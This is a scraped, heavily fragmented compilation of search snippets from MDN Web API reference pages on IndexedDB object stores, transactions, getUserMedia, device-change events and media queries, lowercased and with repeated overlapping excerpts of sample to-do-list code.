...r(range); var request = myindex.openkeycursor(range, direction); parameters range optional a key or idbkeyrange to use as the cursor's range. if nothing is passed, this will default to a key range that selects all the records in this object store. direction optional the cursor's direction. see idbcursor constants for possible values. return value an idbrequest object on which subsequent
events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbindex's transaction is inactive. typeerror the value for the direction parameter is invalid. dataerror the key or key range provided contains an invalid key. ...
...in the index, and insert the last name and the corresponding primary key of the referenced record into an html table. ...
...he last name and the corresponding primary key of the referenced record into an html table. ...
IDBObjectStore.autoIncrement - Web APIs
ippet, we open a read/write transaction on our database and add some data to an object store using add(). after the object store has been created, we log objectstore.autoincrement to the console. for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minut...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.autoincrement); // make a request to add our newitem...
...h: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(
event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(
event) { note.innerhtml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.autoincrement); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest...
... += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.autoincrement); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(
event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'autoincrement' in that specification. recommendation indexed database api draftthe definition of 'autoincrement' in that specification. recommendation ...
IDBObjectStore.clear() - Web APIs
. clearing an object store consists of removing all records from the object store and removing all records in indexes that reference the object store. to remove only some of the records in a store, use idbobjectstore.delete passing a key or idbkeyrange. note: this feature is available in web workers. syntax var request = objectstore.clear(); returns an idbrequest object on which subsequent
events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description readonlyerror the transaction associated with this operation is in read-only mode. transactioninactiveerror this idbobjectstore's transaction is inactive. example in the following code snippet, we open a...
...ransaction is inactive. example in the following code snippet, we open a read/write transaction on our database and clear all the current data out of the object store using clear(). for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot below db = dbopenrequest.result; // clear all the data form the object store cleardata(); }; function cleardata() { // open a read/write db transaction, ready for clearing the data var transaction = db.transaction(["todolist"], "readwrite"...
...e. ...
...ore cleardata(); }; function cleardata() { // open a read/write db transaction, ready for clearing the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(
event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(
event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to clear all the data out of the object store var objectstorerequest = objectstore.clear(); objectstorerequest.onsuccess = function(
event) { // report the succ...
IDBObjectStore.createIndex() - Web APIs
n see the idbopendbrequest.onupgradeneeded handler being used to update the database structure if a database with a higher version number is loaded. createindex() is used to create new indexes on the object store. for a full working example, see our to-do notifications app (view example live.) var db; // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // two
event handlers for opening the database. dbopenrequest.onerror = function(
event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot below. db = request.result; // run the displaydata() function to pop...
...splaydata() function to populate the task list with // all the to-do list data already in the idb displaydata(); }; // this handler fires when a new database is created and indicates // either that one has not been created before, or a new version // was submitted with window.indexeddb.open(). (see above.) // it is only implemented in recent browsers. ...
... to populate the task list with // all the to-do list data already in the idb displaydata(); }; // this handler fires when a new database is created and indicates // either that one has not been created before, or a new version // was submitted with window.indexeddb.open(). (see above.) // it is only implemented in recent browsers. ...
...o-do list data already in the idb displaydata(); }; // this handler fires when a new database is created and indicates // either that one has not been created before, or a new version // was submitted with window.indexeddb.open(). (see above.) // it is only implemented in recent browsers. ...
IDBObjectStore.delete() - Web APIs
ete the current record — without having to explicitly look up the record's key. note: this feature is available in web workers. syntax var request = objectstore.delete(key); var request = objectstore.delete(keyrange); parameters key the key of the record to be deleted, or an idbkeyrange to delete all records with keys in range. return value an idbrequest object on which subsequent
events related to this operation are fired. the request.result attribute is set to undefined. exceptions this method may raise a domexception of the following types: exception description transactioninactiveerror this object store's transaction is inactive. readonlyerror the object store's transaction mode is read-only. invalidstateerror the object...
... in the following code snippet, we open a read/write transaction on our database and delete one specific record out of our object store using delete() — a sample record with the key "walk dog". for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. this is used a lot below db = dbopenrequest.result; // run the deletedata() function to delete a record from the database deletedata(); }; function deletedata() { // open a read/write db transaction, ready for deleting the data var transaction = db.transaction(["...
...elow db = dbopenrequest.result; // run the deletedata() function to delete a record from the database deletedata(); }; function deletedata() { // open a read/write db transaction, ready for deleting the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(
event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(
event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to delete the specified record out of the object store var ob...
... recommendation indexed database api draftthe definition of 'delete()' in that specification. ...
IDBObjectStore.deleteIndex() - Web APIs
tructure if a database with a higher version number is loaded. idbobjectstore.createindex is used to create new indexes on the object store, after which we delete the unneeded old indexes with deleteindex(). for a full working example, see our to-do notifications app (view example live.) var db; // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two
event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(
event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. this is used a lot below db = this.result; // run the displaydat...
...erhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. ...
...or loading database.</li>'; }; dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. ...
...to populate the task list with all the to-do list data already in the idb displaydata(); }; // this
event handles the
event whereby a new version of the database needs to be created // either one has not been created before, or a new version number has been submitted via the // window.indexeddb.open line above //it is only implemented in recent browsers dbopenrequest.onupgradeneeded = function(
event) { var db = this.result; db.onerror = function(
event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createin...
IDBObjectStore.get() - Web APIs
. to tell these situations apart, call the opencursor() method with the same key. that method provides a cursor if the record exists, and no cursor if it does not. note: this feature is available in web workers. syntax var request = objectstore.get(key); parameters key the key or key range that identifies the record to be retrieved. return value an idbrequest object on which subsequent
events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbobjectstore's transaction is inactive. dataerror the key or key range provided contains an invalid key. invalidstateerror the idbobjectstore has been deleted or re...
...ple record with the key "walk dog". once this data object is retrieved, you could then update it using normal javascript, then put it back into the database using a idbobjectstore.put operation. for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot below db = dbopenrequest.result; // run the getdata() function to get the data from the database getdata(); }; function getdata() { // open a read/write db transaction, ready for retrieving the data var transaction = db.transaction(["todol...
...ed a lot below db = dbopenrequest.result; // run the getdata() function to get the data from the database getdata(); }; function getdata() { // open a read/write db transaction, ready for retrieving the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(
event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(
event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to get a record by key from the object store var objectstorer...
...onerror = function(
event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to get a record by key from the object store var objectstorerequest = objectstore.get("walk dog"); objectstorerequest.onsuccess = function(
event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; var myrecord = objectstorerequest.result; }; }; specifications specification status comment indexed database api 2.0the definition of 'get()' in that specification. recommendation indexed database api draftthe definition of 'get()' in that specificat...
IDBObjectStore.getKey() - Web APIs
g specific records from an object store. if a key is successfully found, then a structured clone of it is created and set as the result of the request object. note: this feature is available in web workers. syntax var request = objectstore.getkey(key); parameters key the key or key range that identifies the record to be retrieved. return value an idbrequest object on which subsequent
events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbobjectstore's transaction is inactive. dataerror the key or key range provided contains an invalid key. invalidstateerror the idbobjectstore has been deleted or re...
...e following types: exception description transactioninactiveerror this idbobjectstore's transaction is inactive. dataerror the key or key range provided contains an invalid key. invalidstateerror the idbobjectstore has been deleted or removed. ...
... exception description transactioninactiveerror this idbobjectstore's transaction is inactive. dataerror the key or key range provided contains an invalid key. invalidstateerror the idbobjectstore has been deleted or removed. ...
... removed. example let openrequest = indexeddb.open("telemetry"); openrequest.onsuccess = (
event) => { let db =
event.target.result; let store = db.transaction("netlogs").objectstore("netlogs"); let today = new date(); let yesterday = new date(today); yesterday.setdate(today.getdate() - 1); let request = store.getkey(idbkeyrange(yesterday, today)); request.onsuccess = (
event) => { let when =
event.target.result; alert("the 1st activity in last 24 hours was occurred at " + when); }; }; specifications specification status comment indexed database api draftthe definition of 'getkey()' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from str...
IDBObjectStore.indexNames - Web APIs
snippet, we open a read/write transaction on our database and add some data to an object store using add(). after the object store has been created, we log objectstore.indexnames to the console. for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot below db = this.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, d...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.indexnames); // make a request to add our newitem obj...
...: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(
event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(
event) { note.innerhtml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.indexnames); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsu...
...tml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.indexnames); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(
event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'indexnames' in that specification. recommendation indexed database api draftthe definition of 'indexnames' in that specification. recommendation brow...
IDBObjectStore.keyPath - Web APIs
ode snippet, we open a read/write transaction on our database and add some data to an object store using add(). after the object store has been created, we log objectstore.keypath to the console. for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minut...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.keypath); // make a request to add our newitem object ...
...h: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(
event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(
event) { note.innerhtml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.keypath); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsucce...
...erhtml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.keypath); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(
event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'keypath' in that specification. recommendation indexed database api draftthe definition of 'keypath' in that specification. recommendation browser co...
IDBObjectStore.name - Web APIs
g code snippet, we open a read/write transaction on our database and add some data to an object store using add(). after the object store has been created, we log objectstore.name to the console. for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minut...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.name); // make a request to add our newitem object to ...
...h: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(
event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(
event) { note.innerhtml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.name); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess ...
...innerhtml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.name); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(
event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'name' in that specification. recommendation indexed database api draftthe definition of 'name' in that specification. recommendation browser compatib...
IDBObjectStore.openKeyCursor() - Web APIs
the openkeycursor() method of the idbobjectstore interface returns an idbrequest object whose result will be set to an idbcursor that can be used to iterate through matching results. used for iterating through the keys of an object store with a cursor. to determine if the add operation has completed successfully, listen for the results’s success
event. syntax var request = objectstore.openkeycursor(); var request = objectstore.openkeycursor(query); var request = objectstore.openkeycursor(query, direction); parameters query optional the key range to be queried. if a single valid key is passed, this will default to a range containing only that key. if nothing is passed, this will default to a key range that selects all the records in this object store. direction optional an idbcur...
...ssed, this will default to a range containing only that key. if nothing is passed, this will default to a key range that selects all the records in this object store. direction optional an idbcursordirection telling the cursor what direction to travel. valid values are "next", "nextunique", "prev", and "prevunique". the default is "next". return value an idbrequest object on which subsequent
events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror this idbobjectstore or idbindex has been deleted. transactioninactiveerror this idbobjectstore's transaction is inactive. dataerror the specified key or key range is invalid. ...
...rror the specified key or key range is invalid. ...
...y or key range is invalid. ...
IDBObjectStore.transaction - Web APIs
snippet, we open a read/write transaction on our database and add some data to an object store using add(). after the object store has been created, we log objectstore.transaction to the console. for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minut...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.transaction); // make a request to add our newitem o...
...h: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(
event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(
event) { note.innerhtml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.transaction); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.o...
...ml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.transaction); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(
event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'transaction' in that specification. recommendation indexed database api draftthe definition of 'transaction' in that specification. recommendation br...
IDBOpenDBRequest.onblocked - Web APIs
the onblocked
event handler of the idbopendbrequest interface is the
event handler for the blocked
event. this
event is triggered when the upgradeneeded should be triggered because of a version change but the database is still in use (that is, not closed) somewhere, even after the versionchange
event was sent. note: this feature is available in web workers. syntax idbopendbrequest.onblocked = function(
event) { ... ...
...when the upgradeneeded should be triggered because of a version change but the database is still in use (that is, not closed) somewhere, even after the versionchange
event was sent. note: this feature is available in web workers. syntax idbopendbrequest.onblocked = function(
event) { ... }; example var db; // let us open our database var request = indexeddb.open("todolist", 4); // these two
event handlers act on the database being opened // successfully, or not request.onerror = function(
event) { note.innerhtml += '<li>error loading database.</li>'; }; request.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot below db = request.result; // run the displaydata...
...+= '<li>error loading database.</li>'; }; request.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot below db = request.result; // run the displaydata() function to populate the task list with // all the to-do list data already in the idb displaydata(); }; // this
event handles the
event whereby a new version of the // database needs to be created. ...
...populate the task list with // all the to-do list data already in the idb displaydata(); }; // this
event handles the
event whereby a new version of the // database needs to be created. either one has not been created // before, or a new version number has been submitted via the // window.indexeddb.open line above //it is only implemented in recent browsers request.onupgradeneeded = function(
event) { var db =
event.target.result; db.onerror = function(
event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); ... }; request.onblocked = function() { console.log("your database version can't be upgraded because the app is open somewhere else.");...
IDBTransaction.error - Web APIs
a transaction failure (for example quotaexceedederror or unknownerror). this property is null if the transaction is not finished, is finished and successfully committed, or was aborted with the idbtransaction.abort method. example in the following code snippet, we open a read/write transaction on our database and add some data to an object store. note also the functions attached to transaction
event handlers to report on the outcome of the transaction opening in the
event of success or failure. note the transaction.onerror = function(
event) { }; block, making use of transaction.error to help in reporting what went wrong when the transaction was unsuccessful. for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = windo...
...
event of success or failure. note the transaction.onerror = function(
event) { }; block, making use of transaction.error to help in reporting what went wrong when the transaction was unsuccessful. for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: ...
...e a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(
event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(
event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store ...
... recommendation in...
IDBTransaction.onabort - Web APIs
the onabort
event handler of the idbtransaction interface handles the abort
event, fired, when the current transaction is aborted via the idbtransaction.abort method. note: this feature is available in web workers. syntax transaction.onabort = function(
event) { ... }; example in the following code snippet, we open a read/write transaction on our database and add some data to an object store. note also the functions attached to transaction
event handlers to report on the outcome of the transaction opening in the
event of success or failure. note the transaction.onabort = function(
event) { }; block, reporting when the transaction has been aborted. for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexe...
...to report on the outcome of the transaction opening in the
event of success or failure. note the transaction.onabort = function(
event) { }; block, reporting when the transaction has been aborted. for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(
event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: ...
...e a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(
event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(
event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store v...
...; transaction.onerror = function(
event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(
event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; transaction.onabort = function() { // report when the transaction was successfully aborted console.log("transaction aborted!"); }; // abort the transaction we jus...
MathMLElement - Web APIs
the mathmlelement interface represents any mathml element. ...
... the mathmlelement interface represents any mathml element. ...
... the mathmlelement interface represents any mathml element. ...
... the mathmlelement interface represents any mathml element. ...
MediaDevices.getUserMedia() - Web APIs
the requested media has successfully been obtained. exceptions rejections of the returned promise are made by passing a domexception error object to the promise's failure handler. possible errors are: aborterror although the user and operating system both granted access to the hardware device, and no hardware issues occurred that would cause a notreadableerror, some problem occurred which pr
evented the device from being used. notallowederror one or more of the requested source devices cannot be used at this time. this will happen if the browsing context is insecure (that is, the page was loaded using http rather than https). it also happens if the user has specified that the current browsing instance is not permitted access to the device, the user has denied access for the current sessi...
...ource(s). older versions of the specification used securityerror for this instead; securityerror has taken on a new meaning. notfounderror no media tracks of the type specified were found that satisfy the given constraints. notreadableerror although the user granted permission to use the matching devices, a hardware error occurred at the operating system, browser, or web page level which pr
evented access to the device. overconstrainederror the specified constraints resulted in no candidate devices which met the criteria requested. the error is an object of type overconstrainederror, and has a constraint property whose string value is the name of a constraint which was impossible to meet, and a message property containing a human-readable string explaining the problem. because this err...
...mediadevices is undefined in an insecure context. privacy and security as an api that may involve significant privacy concerns, getusermedia()'s specification lays out a wide array of privacy and security requirements that browsers are obligated to meet. getusermedia() is a powerful feature which can only be used in secure contexts; in insecure contexts, navigator.mediadevices is undefined, pr
eventing access to getusermedia(). a secure context is, in short, a page loaded using https or the file:/// url scheme, or a page loaded from localhost. in addition, user permission is always required to access the user's audio and video inputs. only a window's top-level document context for a valid origin can even request permission to use getusermedia(), unless the top-level context expressly grants...
... introduced into browsers, with support available to some extent in many browsers (though not always enabled by default, as in firefox). getusermedia() is one method which will require the use of feature policy, and your code needs to be prepared to deal with this. for example, you may need to use the allow attribute on any <iframe> that uses getusermedia(), and pages that use getusermedia() will
eventually need to supply the feature-policy header. the two permissions that apply to getusermedia() are camera and microphone. for example, this line in the http headers will enable use of a camera for the document and any embedded <iframe> elements that are loaded from the same origin: feature-policy: camera 'self' this will request access to the microphone for the current origin and the specifi...
MediaDevices.ondevicechange - Web APIs
the mediadevices.ondevicechange property is an
eventhandler which specifies a function to be called when the devicechange
event occurs on a mediadevices instance. this happens whenever the set of media devices available to the user agent and, by extension, to the web site or app has changed. you can at any time use enumeratedevices() to get the updated list of available devices. syntax mediadevices.ondevicechange =
eventhandler; value a function you provide which accepts as input a
event object describing the devicechange
event that occurred. there is no information about the change included in the
event object; to get the updated list of devices, you'll have to use enumeratedevices(). example in this example, we create a function called updatedevicelist(), which is called once when med...
...called updatedevicelist(), which is called once when mediadevices.getusermedia() successfully obtains a stream, and then is called any time the device list changes. it displays in the browser window two lists: one of audio devices and one of video devices, with both the device's label (name) and whether it's an input or an output device. because the example provides a handler for the devicechange
event, the list is refreshed any time a media device is attached to or removed from the device running the sample. html content <p>click the start button below to begin the demonstration.</p> <div id="startbutton" class="button"> start </div> <video id="video" width="160" height="120" autoplay></video><br> <div class="left"> <h2>audio devices:</h2> <ul class="devicelist" id="audiolist"></ul> ...
...padding: 6px; } javascript content other code below is other code which, while needed to make this example work, isn'tt related directly to ondevicechange, so we won't go into any detail. ...
...e in bold and the direction in parentheses, it's appended to the appropriate list by calling appendchild() on either audiolist or videolist, as appropriate based on the device type. handling device list changes we call updatedevicelist() in two places. the first is in the getusermedia() promise's fulfillment handler, to initially fill out the list when the stream is opened. the second is in the
event handler for devicechange: navigator.mediadevices.ondevicechange = function(
event) { updatedevicelist(); } with this code in place, each time the user plugs in a camera, microphone, or other media device, or turns one on or off, we call updatedevicelist() to redraw the list of connected devices. result specifications specification status comment media capture a...
MediaKeySession.onkeystatuseschange - Web APIs
the onkeystatuseschange property of the mediakeysession is an
event handler, fired whenever a keystatuschange
event ocurrs, denoting there has been a change in the keys or their statuses within a session. this interface inherits from the extendable
event interface. ...
...on. this interface inherits from the extendable
event interface. ...
... position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediakeysession" target="_top"><rect x="151" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospac...
...} specifications specification status comment encrypted media extensionsthe definition of 'onkeystatuseschange' in that specification. recommendation initial definition. ...
MediaQueryList.matches - Web APIs
the matches read-only property of the mediaquerylist interface is a boolean that returns true if the document currently matches the media query list, or false if not. you can be notified when the value of matches changes by watching for the change
event to be fired at the mediaquerylist. syntax var matches = <varm>mediaquerylist.matches; value a boolean which is true if the document currently matches the media query list; otherwise, it's false. ...
...ing for the change
event to be fired at the mediaquerylist. syntax var matches = <varm>mediaquerylist.matches; value a boolean which is true if the document currently matches the media query list; otherwise, it's false. ...
... be fired at the mediaquerylist. syntax var matches = <varm>mediaquerylist.matches; value a boolean which is true if the document currently matches the media query list; otherwise, it's false. ...
...atches the media query list; otherwise, it's false. examples this example detects viewport orientation changes by creating a media query using the orientation media feature: function addmqlistener(mq, callback) { if (mq.add
eventlistener) { mq.add
eventlistener("change", callback); } else { mq.addlistener(callback); } } addmqlistener(window.matchmedia("(orientation:landscape)"),
event => { if (
event.matches) { /* now in landscape orientation */ } else { /* now in portrait orientation */ } } ); specifications specification status comment css object model (cssom) view modulethe definition of 'matches' in that specification. working draft initial definition ...
MediaRecorder.onstart - Web APIs
